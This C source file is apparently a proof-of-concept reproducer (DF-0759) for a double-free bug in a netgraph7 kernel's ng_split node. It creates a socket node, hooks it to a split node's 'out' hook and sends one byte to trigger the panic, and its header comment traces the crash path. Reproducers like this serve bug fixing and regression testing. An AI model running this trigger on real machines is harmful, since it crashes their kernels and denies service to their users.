/*
 * DF-0759 data injector — pushes a single mbuf onto a netgraph hook so it
 * arrives at the ng_split node's "out" hook, entering the out-hook branch
 * of ng_split_rcvdata() and triggering the double NG_FREE_ITEM.
 *
 * Uses libnetgraph (userland). The netgraph7 kernel socket implements the
 * same AF_NETGRAPH / ng_mesg ABI, so this works against a netgraph7 stack.
 *
 * Must run as root (netgraph socket is privileged). Run AFTER loading the
 * netgraph7 core + ng_socket7 + ng_split modules.
 *
 *   NgMkSockNode(NULL, &csock, &dsock)  -> create an unnamed socket node
 *   NGM_MKPEER split: ourhook="tx" peerhook="out"
 *       -> creates a "split" node, connects socket:tx <-> split:out
 *   NgSendData(dsock, "tx", byte, 1)
 *       -> mbuf delivered to split:out -> ng_split_rcvdata(hook=priv->out)
 *       -> line 136 NG_FREE_ITEM(item) sets NGQF_FREE
 *       -> line 144 if(item) [still non-NULL] -> line 145 NG_FREE_ITEM(item)
 *       -> KKASSERT(!(NGQF_FREE)) FIRES -> panic on INVARIANTS kernels
 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdarg.h>

#include <netgraph.h>
#include <netgraph/ng_message.h>

static void
mylog(const char *fmt, ...)
{
	va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap);
	fprintf(stderr, "\n");
}

int
main(void)
{
	int csock = -1, dsock = -1;
	struct ngm_mkpeer mp;
	unsigned char byte = 'X';
	int rc = 0;

	NgSetErrLog(mylog, mylog);

	/* Create an unnamed socket node; get control + data fds. */
	if (NgMkSockNode(NULL, &csock, &dsock) < 0) {
		fprintf(stderr, "NgMkSockNode failed (is netgraph7 + ng_socket7 "
			"loaded?): %s\n", strerror(errno));
		return 2;
	}
	fprintf(stderr, "[+] created socket node csock=%d dsock=%d\n",
		csock, dsock);

	/* Peer our "tx" hook to a new split node's "out" hook. */
	memset(&mp, 0, sizeof(mp));
	strlcpy(mp.type, "split", sizeof(mp.type));
	strlcpy(mp.ourhook, "tx", sizeof(mp.ourhook));
	strlcpy(mp.peerhook, "out", sizeof(mp.peerhook));

	if (NgSendMsg(csock, ".:", NGM_GENERIC_COOKIE, NGM_MKPEER,
	    &mp, sizeof(mp)) < 0) {
		fprintf(stderr, "NGM_MKPEER failed (is ng_split loaded?): %s\n",
			strerror(errno));
		rc = 3;
		goto out;
	}
	fprintf(stderr, "[+] mkpeer split: socket:tx <-> split:out\n");
	fprintf(stderr, "[*] sending 1 data byte onto split:out -> "
		"ng_split_rcvdata(out) -> double NG_FREE_ITEM\n");
	fflush(stderr);

	/* Send one data byte on "tx" -> arrives at split:out. */
	if (NgSendData(dsock, "tx", &byte, 1) < 0) {
		fprintf(stderr, "NgSendData failed: %s\n", strerror(errno));
		rc = 4;
		goto out;
	}

	/* If we reach here, the kernel did NOT panic (e.g. INVARIANTS off,
	 * or fix applied, or split node absent). */
	fprintf(stderr, "[!] data sent; kernel still alive -> no panic\n");
	printf("NO_PANIC\n");

out:
	if (csock >= 0) close(csock);
	if (dsock >= 0) close(dsock);
	return rc;
}
